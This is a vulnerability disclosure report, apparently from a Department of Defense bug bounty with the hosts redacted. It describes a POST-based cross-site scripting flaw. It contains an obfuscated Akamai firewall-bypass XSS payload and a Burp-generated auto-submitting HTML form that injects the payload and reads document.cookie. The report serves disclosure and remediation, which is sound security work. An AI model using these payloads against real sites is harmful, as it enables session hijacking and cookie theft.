U.S. Dept Of Defense · Report #2750728
Cross-Site Scripting (XSS) Vulnerability via POST Method + Akamai Firewall Bypass
How it was found
Hi! I discovered a Cross-Site Scripting (XSS) vulnerability on █████████, specifically through the POST method. This vulnerability allows an attacker to inject malicious scripts that could be executed, potentially leading to cookie theft, session hijacking, and other malicious actions.
Payload to bypass Akamai Firewall: '"><A HRef=" AutoFocus OnFocus=top/**/?.'ale'%2B'rt'>
References
█████████
Impact
Exploitation of this vulnerability can lead to severe consequences, including but not limited:
Session Hijacking: Attackers can steal cookies and impersonate legitimate users.
System Host(s)
█████████
Affected Product(s) and Version(s)
CVE Numbers
Steps to Reproduce
Use this code in your own website to execute the XSS Method Post. If it asks to agree to consent, accept in the website and use the PoC again.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="██████" method="POST">
<input type="hidden" name="EVENT_CITY" value="San Francisco'"><A HRef=\" AutoFocus OnFocus=top█████████;**████;?.['ale'+'rt'](document+cookie)>" />
<input type="hidden" name="EVENT_END_DATE" value="████████" />
<input type="hidden" name="EVENT_POC_ALT_PHONE" value="█████████" />
<input type="hidden" name="EVENT_POC_CITY" value="San Francisco" />
<input type="hidden" name="EVENT_POC_EMAIL" value="testing@example.com" />
<input type="hidden" name="EVENT_POC_FAX" value="317-317-3137" />
<input type="hidden" name="EVENT_POC_FIRST_NAME" value="fnfOzvSR" />
<input type="hidden" name="EVENT_POC_LAST_NAME" value="fnfOzvSR" />
<input type="hidden" name="EVENT_POC_MI" value="1" />
<input type="hidden" name="EVENT_POC_PRIM_PHONE" value="████████" />
<input type="hidden" name="EVENT_POC_ROOM" value="1" />
<input type="hidden" name="EVENT_POC_STATE" value="AL" />
<input type="hidden" name="EVENT_POC_STREET" value="█████████Street" />
<input type="hidden" name="EVENT_POC_TITLE" value="Mr." />
<input type="hidden" name="EVENT_POC_ZIP" value="94102" />
<input type="hidden" name="EVENT_ROOM" value="1" />
<input type="hidden" name="EVENT_SITE_NAME" value="fnfOzvSR" />
<input type="hidden" name="EVENT_START_DATE" value="████" />
<input type="hidden" name="EVENT_STATE" value="AL" />
<input type="hidden" name="EVENT_STREET" value="█████Street" />
<input type="hidden" name="EVENT_TITLE" value="Mr." />
<input type="hidden" name="EVENT_URL" value="http:██████;████;www.example.com" />
<input type="hidden" name="EVENT_ZIP" value="94102" />
<input type="hidden" name="EXPECTED_ATTENDANCE" value="11███;2011" />
<input type="hidden" name="FED_GOVT_BRANCH_AGENCY" value="20" />
<input type="hidden" name="SPONSOR_ORG_SVC_BRANCH_OID" value="1" />
<input type="hidden" name="SPONSOR_ORG_TYPE" value="S-DoD" />
<input type="hidden" name="WIZARD_CHECKBOXES" value="SPONSOR_ORG_TYPE" />
<input type="hidden" name="button_save_and_continue" value="Save & Continue" />
<input type="hidden" name="pageNumber" value="20" />
<input type="hidden" name="priorPageNumber" value="20" />
<input type="hidden" name="requestID" value="C6FAC0A7-E6E4-C637-E3DAAE6E3C7A6F1F" />
<input type="hidden" name="returnTab" value="10" />
<input type="hidden" name="showOutreachType" value="1" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Suggested Mitigation/Remediation Actions
Apply context-dependent encoding and/or validation to user input rendered on a page